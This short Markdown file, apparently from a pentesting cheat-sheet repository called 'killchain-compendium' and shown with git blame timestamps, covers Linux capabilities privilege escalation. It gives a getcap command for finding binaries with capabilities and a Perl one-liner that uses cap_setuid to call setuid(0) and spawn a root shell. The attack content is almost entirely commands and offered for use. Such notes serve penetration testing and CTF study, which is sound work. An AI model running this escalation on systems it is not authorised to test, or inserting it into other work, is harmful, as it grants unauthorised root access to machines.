killchain-compendium/exploit/linux/capabilities.md

15 lines
287 B
Markdown
Raw Normal View History

2021-09-03 00:58:49 +02:00
# Capabilities
* [HackTricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities)
## Usage
2021-10-09 01:21:51 +02:00
* Find capabilities
2021-09-03 00:58:49 +02:00
```sh
getcap -r / 2>/dev/null
```
2021-10-09 01:21:51 +02:00
* `cap_setuid` through `/bin/perl`
```sh
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
```